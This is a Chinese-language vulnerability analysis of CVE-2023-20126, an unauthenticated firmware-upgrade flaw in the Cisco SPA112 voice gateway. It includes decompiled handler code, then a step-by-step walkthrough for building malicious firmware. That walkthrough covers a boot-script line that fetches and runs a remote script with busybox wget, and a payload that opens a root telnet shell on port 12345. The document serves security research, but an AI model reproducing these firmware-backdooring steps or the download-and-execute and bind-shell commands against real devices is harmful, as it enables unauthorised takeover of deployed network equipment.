SPA112 是 Cisco 早期推出的一款语音网关,2023 年 5 月 3 日,Cisco 官方发布了关于此设备的漏洞 CVE-2023-20126,本文对此漏洞进行分析。
漏洞分析
可以在 Cisco 官方网站 下载到该设备的固件,当前最新版为 1.4.1 SR5 (已停止维护)。
直接使用 binwalk 解压,解压后得到一个 squashfs 文件系统。
该漏洞比较简单,出现在 web 服务中。关键文件为 /usr/sbin/httpd,我们使用 IDA 逆向分析,找到请求处理的主要部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| v114 = uri_handler[0]; if ( !uri_handler[0] ) goto LABEL_113; v115 = uri_handler; while ( 2 ) { for ( kk = v114; ; kk = v117 + 1 ) { v117 = strchr(kk, '|'); if ( !v117 ) break; if ( match(kk, v117 - kk, v39) ) goto LABEL_98; } v118 = strlen(kk); if ( !match(kk, v118, v39) ) { v119 = v115[6]; v115 += 6; v114 = v119; if ( v119 ) continue; goto LABEL_113; } break; } LABEL_98: is_need_auth = v115[5]; if ( is_need_auth ) { (is_need_auth)(&unk_625F4, &unk_62634, &unk_62674); dword_623D4 = 0; if ( strcmp(v39, "login.asp") ) { if ( !sub_11120(v39) ) { v156 = dword_64EA4; if ( dword_64EA4 || sub_10340() >= 0 ) v39 = "login.asp"; else sub_119FC(403, "Forbidden", v156, "Can't use wireless interface to access web."); } } } dword_6DD10 = 0; v37 = strcasecmp(s, "post"); cgi_handler = v115[3]; if ( !v37 ) dword_6DD10 = 1; if ( cgi_handler ) { (cgi_handler)(v39, dword_625F0, v173, v51); if ( !dword_623C8 ) { v157 = fileno(dword_625F0); v158 = fcntl(v157, 3); if ( v158 != -1 ) { v159 = fileno(dword_625F0); if ( fcntl(v159, 4, v158 | 0x800) != -1 ) { if ( fgetc(dword_625F0) != -1 ) fgetc(dword_625F0); v160 = fileno(dword_625F0); fcntl(v160, 4, v158); } } } }
|
这部分逻辑和一些开源 web 服务相似,通过将请求 URI 和程序中一个数组相比较,取出相同条目的函数指针调用。列表中的每个项目第 1 个成员是 uri 字符串,第 4 个成员是 handler 函数指针,第 6 个成员表示该 CGI 接口是否需要身份验证。
统计所有接口,我们发现在无需授权的接口中,包含一个叫做 upgrade.cgi 的接口,对应 handler 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| int __fastcall upgrade_handler(int a1, int a2, int a3, int a4) { int v6; int v7; bool v8; int v9; int result; int v11; unsigned int v12; int v13; int v14; int v15; FILE *v16; int v17; int v18; char v19; char v20; char v21;
v18 = a3; dword_64EA8 = 22; system("cp /www/Success_u.asp /tmp/."); system("cp /www/Fail_r_s.asp /tmp/."); system("cp /www/Success_u_s.asp /tmp/."); system("cp /www/Fail_u_s.asp /tmp/."); system("cp /sbin/write /tmp/write"); v6 = v18; if ( v18 > 0 ) { while ( 1 ) { v7 = v6 + 1; if ( (v6 + 1) >= 0x400 ) v7 = 1024; v8 = sub_108E0(&v19, v7, a2) == 0; result = &v19; if ( v8 ) return result; v9 = v18 - strlen(&v19); v18 = v9; v6 = v9; if ( !strncasecmp(&v19, "Content-Disposition:", 0x14u) ) { if ( strstr(&v19, "name=\"file\"") ) { dword_84190 = 1; nvram_set("submit_button", "Upgrade"); v17 = 2; LABEL_14: if ( !nvram_match("submit_button", "Upgrade") || (dword_5DED4 = 257, dword_6DD88) || nvram_match("remote_upgrade", &byte_4B814) || !nvram_match("router_mode", &byte_4B814) ) { v11 = v18; while ( 1 ) { v12 = v11 + 1; if ( v11 <= 0 ) { LABEL_25: v13 = sub_1E048(0, a2, &v18, v17, a4); v14 = v18; dword_64EA8 = v13; goto LABEL_26; } if ( v12 >= 0x400 ) v12 = 1024; v8 = sub_108E0(&v19, v12, a2) == 0; result = &v19; if ( v8 ) break; v11 = v18 - strlen(&v19); v18 = v11; if ( v19 == 10 && !v20 || v19 == 13 && v20 == 10 && !v21 ) goto LABEL_25; } } else { v16 = fopen("/dev/console", "w"); if ( v16 ) { fwrite("Can't upgrade from wan side\n", 1u, 0x1Cu, v16); fclose(v16); } v14 = v18; dword_64EA8 = 99; LABEL_26: while ( 1 ) { result = a2; v15 = a2; if ( v14 <= 0 ) break; while ( dword_623C8 ) { BIO_gets(result, &v19, 1, v15); result = a2; v15 = a2; if ( v18 <= 0 ) return result; } result = sub_10548(&v19, 1, 1025, v15); if ( result < 0 ) return result; v14 = v18 - result; v18 -= result; } } return result; } if ( strstr(&v19, "name=\"restore\"") ) { dword_623AC = 1; nvram_set("submit_button", "Restore"); v17 = 1; goto LABEL_14; } } if ( v9 <= 0 ) { v17 = 0; goto LABEL_14; } } } return printf("\n Fail: upgrade file size = %d \n", v18); }
|
这个接口负责对设备进行固件升级,代码会尝试获取 Content-Disposition 请求参数,判断其中的 name 为 file 还是 restore。当 name 为 file 时,代码设置 submit_button 变量为 Upgrade,在后续的 if 条件判断中,会检查 submit_button 变量,如果它等于 Upgrade,则继续判断 remote_upgrade 等参数值。这样的目的是为了防止用户从 WAN 端执行固件升级操作。
观察逻辑,当 name 等于 Restore 时,代码设置 submit_button 等于 Restore,之后回到 if 判断,此时 nvram_match 函数返回 0,第一条逻辑成立,则会跳过后续判断进入 if 语句,随后调用 sub_1E048 函数,开始升级系统。
因此,没有经过授权的用户可以尝试构造一个恶意的固件文件,利用这个接口上传到设备,当升级完成之后新的系统中就会包含攻击者控制的木马程序。
利用分析
该漏洞原理比较简单,但是想利用却要花费一些心思。因为需要知道合法的固件格式,以及如何正确解包和打包。
我们首先来分析一下设备的固件格式,查看 binwalk 解析结果:
1 2 3 4 5 6 7
| DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 392 0x188 uImage header, header size: 64 bytes, header CRC: 0xF534C9EA, created: 2106-02-07 06:28:15, image size: 1572736 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0xE6D5E563, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "SP2Xcybertan_rom_bin" 456 0x1C8 Linux kernel ARM boot executable zImage (little-endian) 13596 0x351C gzip compressed data, maximum compression, from Unix, last modified: 2019-10-14 04:38:56 1573192 0x180148 uImage header, header size: 64 bytes, header CRC: 0x96353C43, created: 2106-02-07 06:28:15, image size: 8478720 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x96855278, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: "SP2Xcybertan_rom_bin" 1573256 0x180188 Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8476193 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2019-10-14 04:51:02
|
固件中主要包含 Linux 内核以及 squashfs 文件系统两部分,考虑到希望植入木马程序,内核部分可以略过,所以主要关注点应放在 Squashfs filesystem 上面。
使用以下命令将文件系统切割出来:
1
| dd if=ori.bin of=sqfs.ori bs=1 skip=1573256
|
按照常规思路,接下来我们可以使用 unsquashfs 工具解压 sqfs.ori,但是直接解压会提示错误:
1
| FATAL ERROR: Can't find a valid SQUASHFS superblock on ./sqfs.ori
|
由于 unsquashfs 等 sqfs 工具是开源的,猜测厂商可能将这部分代码做了修改。如果想要正常解压以及打包,那么就要找出修改了哪些部分,想办法还原相关逻辑。
幸运的是 Cisco 官网 上保留了该设备的 GPL 代码包,其中就包含修改过的 sqfs 工具。我们下载这套代码,将其中的 squashfs 相关工具编译出来,使用这些工具即可正常对文件进行解包(binwalk 可以正常解包,应该是 binwalk 内部进行了特殊支持)。
解包后需要找到一个位置植入木马文件,通常我们会寻找一些开机自启动的脚本,在其中添加执行木马的命令。在这个系统中,可以修改 /etc/rc.init.1 文件,系统启动后会自动执行。
修改之后的样例:
1 2 3 4 5 6 7 8 9
| #!/bin/sh
$(/bin/sleep 60 && /bin/busybox wget -O /tmp/1.sh http://192.168.0.124:8000/1.sh && /bin/busybox chmod 777 /tmp/1.sh && /tmp/1.sh) & if [ ! -d "/var/tmp/events" ]; then mkdir /var/tmp/events fi
|
修改完成,使用之前编译的 mksquashfs 重新打包,确保打包之后的文件不大于原始文件,然后拼接回原来的固件末尾,补齐至原始长度。
现在,如果将这个重新打包好的固件刷入设备,重启之后将会进入 “救援模式”,提示之前传入的固件无法正常启动,请重新刷写。
因此除了简单修改文件系统之外,我们还需要调整固件中的其他结构,以满足升级逻辑。继续分析 upgrade.cgi,在函数开头部分会执行一些命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| v100 = dword_623C8; system("cp /usr/sbin/splitfmwr /tmp/splitfmwr"); if ( a1 ) { v116[0] = "/tmp/splitfmwr"; v116[1] = "-u"; v116[2] = "/home/usb_disk/pb_usb_drive.tgz"; v116[3] = "-p"; v116[4] = "/tmp/pfmwr.img"; v116[5] = "-b"; v116[6] = "/tmp/bootldr.img"; v116[7] = "-s"; v116[8] = "/tmp/sfmwr.img"; v116[9] = "-h"; v116[12] = 0; v116[10] = "/tmp/SPA_HS.img"; v116[11] = a1; v10 = eval(v116, ">/dev/console", 0, 0); v12 = v10; if ( v10 ) { v11 = &v107; v12 = -9; } v127 = v10; if ( v10 ) { *(v11 + 281) = v12; } else { v118[0] = "/tmp/write"; v118[1] = "/tmp/pfmwr.img"; v118[2] = "ROMIMAGE"; v118[3] = 0; v10 = eval(v118, ">/dev/console", v12, v12); v127 = v10; } libupg_release_upglock(v10); return v127; }
|
根据名称来猜测,splitfmwr 程序切割固件,将其分为 n 个部分,而 write 程序执行实际的写入闪存操作。
那么主要的固件验证逻辑应该就位于 splitfmwr 程序中,这个程序比较复杂,它会根据固件头部尝试将固件切割,对于正常的固件,理论上会切割出 bootloader、内核、文件系统等。这些不同的部分称之为 module,多个 module 组成了一个 pack,固件头部包含 n 个 MD5 值,用于校验固件中的各个组成部分。
对于这些结构我们可以尝试逐步分析,直到写出一个可用的打包程序。不过在查看 GPL 代码时,发现其中包含两个项目:pkger 和 moduler,它们正是用于打包 SPA112 固件的工具。将这两个工具编译出来,在原始固件上能够正常解析
1 2 3 4
| ➜ repack ./tools/pkger -r ./ori.bin Firmware version: 1.4.1 Firmware modules: 1 Firmware length: 10092936
|
这样,可以节省我们很多精力,参考 GPL 中的打包脚本结合各个工具,可快速制作出符合升级要求的固件。
在本地构造 1.sh,并准备好 busybox 程序,开启 python web 服务
1 2 3
| /bin/busybox wget -O /tmp/busybox http://192.168.0.124:8000/busybox /bin/busybox chmod 777 /tmp/busybox /tmp/busybox telnetd -l/bin/sh -p12345
|
将构造好的固件刷入设备:
升级完成出现以下画面:
等待设备重新启动,如果一切正常,在 python 服务器端可以收到下载文件的请求,之后连接设备的 12345 端口即可得到 shell:
本文我们简单分析了 Cisco SPA112 语音网关的漏洞,尝试使用厂商开源的 GPL 工具构造恶意固件,植入木马后获取代码执行权限。相关工具